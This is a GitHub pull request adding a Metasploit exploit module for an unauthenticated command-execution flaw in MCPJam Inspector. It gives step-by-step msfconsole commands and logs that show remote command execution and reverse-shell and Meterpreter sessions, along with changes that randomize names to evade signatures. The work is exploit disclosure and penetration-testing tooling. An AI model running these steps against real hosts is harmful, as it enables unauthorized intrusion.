Skip to content

Add MCPJam Inspector command execution exploit - #21655

Open
earthenvessel wants to merge 3 commits into
rapid7:masterfrom
earthenvessel:feature/mcpjam-inspector-rce
Open

Add MCPJam Inspector command execution exploit#21655
earthenvessel wants to merge 3 commits into
rapid7:masterfrom
earthenvessel:feature/mcpjam-inspector-rce

Conversation

@earthenvessel

Copy link
Copy Markdown

Description

This PR adds a new exploit module for CVE-2026-23744, an unauthenticated command execution vulnerability in MCPJam Inspector.

The module targets the /api/mcp/connect endpoint. Vulnerable versions accept a JSON serverConfig object containing a command and args array, then use those values to start an MCP server. When MCPJam Inspector is exposed on a routable interface, an unauthenticated remote attacker can abuse this behavior to execute operating system commands as the user running MCPJam Inspector.

The module currently supports Unix command payloads. By default, it starts a transient stdio MCP server and executes the selected Metasploit command payload through MCPJam Inspector's MCP tools API. A direct /bin/sh -c execution path is also available with EXEC_METHOD=direct_sh.

This change also adds module documentation under documentation/modules.

During testing, the GitHub Security Advisory's affected range appeared to be narrower than observed behavior. The advisory lists affected versions as <= 1.4.2, but source builds through v1.4.6 were exploitable. The first fixed GitHub tag identified during testing was v1.5.0, which requires session-token authentication for the relevant API endpoints.

Related Issue: N/A

Breaking Changes

None

Reviewer Notes

Start with:

  • modules/exploits/multi/http/mcpjam_inspector_rce.rb
  • documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md

The module intentionally targets Unix command payloads only. Windows support is left out of scope for this initial PR because it was not tested against a Windows MCPJam Inspector deployment.

The check method performs the following:

  1. Verifies that the target appears to be MCPJam Inspector.
  2. Probes the connect endpoint.
  3. Reports patched/authenticated versions as not exploitable when the endpoint returns an authentication response such as Unauthorized/Session token required.
  4. On vulnerable versions, starts a transient MCP server and verifies benign command execution with a random marker.

Verification Steps

    • Build or run a vulnerable MCPJam Inspector version, such as GitHub tag v1.4.2, and expose it locally on port 6274.
    • Start msfconsole and load the module:
use exploit/multi/http/mcpjam_inspector_rce
set RHOSTS 127.0.0.1
set RPORT 6274
set SSL false
    • Run check and verify that the target is reported vulnerable:
check

Expected result:

The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
    • Test command output with cmd/unix/generic:
set payload cmd/unix/generic
set FETCH_OUTPUT true
set CMD id
run

Expected result: The module executes id and prints command output from the target.

    • Test a reverse shell payload:
set FETCH_OUTPUT false
set payload cmd/unix/reverse_nodejs
set LHOST <attacker_ip>
set LPORT 9001
run

Expected result: A command shell session opens.

    • Run MCPJam Inspector v1.5.0 or a later fixed version and repeat check.
      Expected result:
The target is not exploitable. MCPJam Inspector requires session-token authentication for the connect endpoint
    • Run module quality checks:
bundle exec ruby tools/dev/msftidy.rb modules/exploits/multi/http/mcpjam_inspector_rce.rb
bundle exec ruby tools/dev/msftidy_docs.rb documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md
ruby -c modules/exploits/multi/http/mcpjam_inspector_rce.rb
git diff --check

Test Evidence

The module was tested against MCPJam Inspector versions built from GitHub source:

Version Result
v1.4.1 Vulnerable
v1.4.2 Vulnerable
v1.4.3 Vulnerable
v1.4.4 Vulnerable
v1.4.5 Vulnerable
v1.4.6 Vulnerable
v1.5.0 Not vulnerable; session-token authentication required
v2.23.0 Not vulnerable; session-token authentication required

Successful payload coverage included:
cmd/unix/generic
cmd/unix/reverse_nodejs
cmd/unix/reverse_bash
cmd/unix/reverse_perl
cmd/unix/reverse_python
cmd/unix/reverse_netcat
cmd/unix/bind_nodejs
cmd/unix/python/pingback_reverse_tcp
cmd/unix/python/shell_reverse_tcp

Example vulnerable target check:

msf6 > use exploit/multi/http/mcpjam_inspector_rce
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 192.0.2.10
RHOSTS => 192.0.2.10
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274
RPORT => 6274
msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false
SSL => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > check
[*] Starting transient Node.js MCP command server as server ID check-XXXXXXXX
[+] 192.0.2.10:6274 - The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint

Example command execution:

msf6 exploit(multi/http/mcpjam_inspector_rce) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT true
FETCH_OUTPUT => true
msf6 exploit(multi/http/mcpjam_inspector_rce) > set CMD id
CMD => id
msf6 exploit(multi/http/mcpjam_inspector_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting transient Node.js MCP command server as server ID check-XXXXXXXX
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[*] Starting transient Node.js MCP command server as server ID msf-XXXXXXXX
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] Command result: uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[*] Exploit completed, but no session was created.

Example reverse shell:

msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT false
FETCH_OUTPUT => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > set payload cmd/unix/reverse_nodejs
payload => cmd/unix/reverse_nodejs
msf6 exploit(multi/http/mcpjam_inspector_rce) > set LHOST 192.0.2.20
LHOST => 192.0.2.20
msf6 exploit(multi/http/mcpjam_inspector_rce) > set LPORT 9001
LPORT => 9001
msf6 exploit(multi/http/mcpjam_inspector_rce) > run
[*] Started reverse TCP handler on 192.0.2.20:9001
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting transient Node.js MCP command server as server ID check-XXXXXXXX
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[*] Starting transient Node.js MCP command server as server ID msf-XXXXXXXX
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] Command shell session 1 opened (192.0.2.20:9001 -> 192.0.2.10:51234)

Example fixed-version check against v1.5.0:

msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274
RPORT => 6274
msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false
SSL => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > check
[*] 127.0.0.1:6274 - The target is not exploitable. MCPJam Inspector requires session-token authentication for the connect endpoint

Quality checks:

$ bundle exec ruby tools/dev/msftidy.rb modules/exploits/multi/http/mcpjam_inspector_rce.rb
1 file inspected, no offenses detected
$ bundle exec ruby tools/dev/msftidy_docs.rb documentation/modules/exploit/multi/http/mcpjam_inspector_rce.md
$ ruby -c modules/exploits/multi/http/mcpjam_inspector_rce.rb
Syntax OK
$ git diff --check

Environment

Field Details
Operating System Kali Linux, Linux 6.19.14+kali-amd64
Target Software/Hardware MCPJam Inspector v1.4.1 through v1.4.6 vulnerable; v1.5.0 and v2.23.0 not vulnerable to this unauthenticated exploit path. Target versions were built from the MCPJam Inspector GitHub source repository with Node.js v22.13.1.

AI Usage Disclosure

AI assistance was used during development and testing. Hermes Agent was used to assist with module and documentation drafting and test orchestration. All code and documentation were manually reviewed/tested.

Pre-Submission Checklist

  • Included a corresponding documentation markdown file in documentation/modules
  • No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
  • Tested on the target environment specified in the Environment section above
  • Included RSpec tests for library changes (N/A -- no lib/ changes)
  • Read the CONTRIBUTING.md and module acceptance guidelines

## Testing

### Setup a vulnerable MCPJam Inspector instance

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in da5dfb2. I added the official mcpjam/mcp-inspector:v1.4.2 container as the primary reproducible test setup, kept the npm/source-build alternatives, and validated both check and command execution against the official container.


## Tested Payloads

The following Unix command payloads were tested successfully against Linux MCPJam Inspector deployments:

@bwatters-r7 bwatters-r7 Jul 29, 2026

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd love to see a meterpreter payload included in the testing- something like cmd/linux/http/x64/meterpreter_reverse_tcp should work and give a meterpreter session on the host.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed and tested in da5dfb2. I expanded the target metadata to Unix/Linux, removed the PayloadType compatibility restriction that excluded Linux command-fetch adapters, and defaulted FETCH_COMMAND to WGET for this target. Confirmed I can successfully open cmd/linux/http/x64/meterpreter_reverse_tcp as the node user on the official v1.4.2 Linux x64 container and added the scenario to the documentation.

Comment on lines +98 to +107
def random_server_id(prefix = 'msf')
"#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}"
end

def server_id
configured_id = datastore['SERVER_ID'].to_s
return random_server_id if configured_id.empty?

configured_id
end

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think you need these if you use a default value for the option above?

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in da5dfb2. It now generates a default SERVER_ID when the module is loaded. The separate server_id accessor has been removed, and execute_command reads the datastore value directly. The check operation still uses separate randomized check IDs. I also confirmed there are no issues with repeated command execution using the same configured SERVER_ID.

Add an official Docker test setup, support and document the Linux x64 Meterpreter fetch payload, and simplify SERVER_ID handling.
@earthenvessel

Copy link
Copy Markdown
Author

@bwatters-r7 Thanks for the review. I pushed da5dfb2, which addresses all three comments:

  • Added and tested the official v1.4.2 Docker setup
  • Added Linux x64 Meterpreter fetch-payload support and test documentation
  • Simplified SERVER_ID to use a generated option default

Validation included v1.4.2 check/command execution, x64 Linux Meterpreter session as node, using the same SERVER_ID multiple times, checking Ruby syntax, msftidy, msftidy_docs, and git diff --check. This should be ready for another look when it's convenient.

@jheysel-r7 jheysel-r7 self-assigned this Aug 25, 2026
@jheysel-r7 jheysel-r7 added docs module rn-modules release notes for new or majorly enhanced modules labels Aug 25, 2026

@jheysel-r7 jheysel-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module, @earthenvessel. Just a couple comments. Testing was as expected:

Testing

cmd/unix/generic

msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274
RPORT => 6274
msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > check
[*] Starting transient Node.js MCP command server as server ID check-QHCtRe2v
[+] 127.0.0.1:6274 - The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT true
FETCH_OUTPUT => true
msf6 exploit(multi/http/mcpjam_inspector_rce) > set CMD id
CMD => id
msf6 exploit(multi/http/mcpjam_inspector_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting transient Node.js MCP command server as server ID check-W2qpBAx4
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[*] Starting transient Node.js MCP command server as server ID msf-yjgcn2JD
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] Command result: uid=501(jheysel) gid=20(staff) groups=20(staff),101(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),81(_appserveradm),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1),100(_lpoperator)
[*] Exploit completed, but no session was created.

cmd/unix/reverse_nodejs

msf6 exploit(multi/http/mcpjam_inspector_rce) > options

Module options (exploit/multi/http/mcpjam_inspector_rce):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   EXEC_METHOD   mcp_tool         yes       Command dispatch method (Accepted: mcp_tool, direct_sh)
   FETCH_OUTPUT  false            yes       Fetch command output from the MCP tool response
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
   RHOSTS        127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         6274             yes       The target port (TCP)
   SERVER_ID     msf-Pv4aj6wS     yes       Server ID to use for the transient MCP connection
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /                yes       Base path for MCPJam Inspector
   VHOST                          no        HTTP server virtual host


Payload options (cmd/unix/reverse_nodejs):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  127.0.0.1        yes       The listen address (an interface may be specified)
   LPORT  9001             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix/Linux Command



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/mcpjam_inspector_rce) > run verbose=true
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:9001 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting transient Node.js MCP command server as server ID check-RzMkjNcD
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[*] Starting transient Node.js MCP command server as server ID msf-Pv4aj6wS
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] MCP tool response: Command dispatched
[*] Command shell session 1 opened (127.0.0.1:9001 -> 127.0.0.1:63754) at 2026-08-25 09:20:21 -0700

},
'License' => MSF_LICENSE,
'Author' => [
'earthenvessel' # Metasploit module

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
'earthenvessel' # Metasploit module
'Louay-075', # PoC author
'earthenvessel' # Metasploit module

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in 298d112. Added Louay-075 as the PoC author.

def mcp_tool_payload(fetch_output: false)
fetch_output_literal = fetch_output ? 'true' : 'false'

%{

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would you be able to randomize the all variables/ function names that are being created in the mcp_tool_payload? That will help reduce the signaturability of the exploit. I see that these variable names get referenced later on by different functions (execute_mcp_tool etc.) in the module, maybe setting them as instance variable or functions might help facilitate this.

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Addressed in 298d112. Each transient MCP server now gets a new randomized context containing the JavaScript variables and functions, the MCP tool name, and the parameter names. The same context is used through server startup and tool execution. No changes to required Node.js and JSON-RPC/MCP names.

@earthenvessel

Copy link
Copy Markdown
Author

@jheysel-r7 Thanks for the follow-up feedback. I addressed the comments and pushed the latest changes. Ready for another look.

@jheysel-r7

Copy link
Copy Markdown
Contributor

Thanks for making those changes @earthenvessel, retested on the latest commit and everything looks good 👍

@jheysel-r7 jheysel-r7 moved this from Todo to What about Second Review? in Metasploit Kanban Sep 1, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Status: What about Second Review?

Development

Successfully merging this pull request may close these issues.

4 participants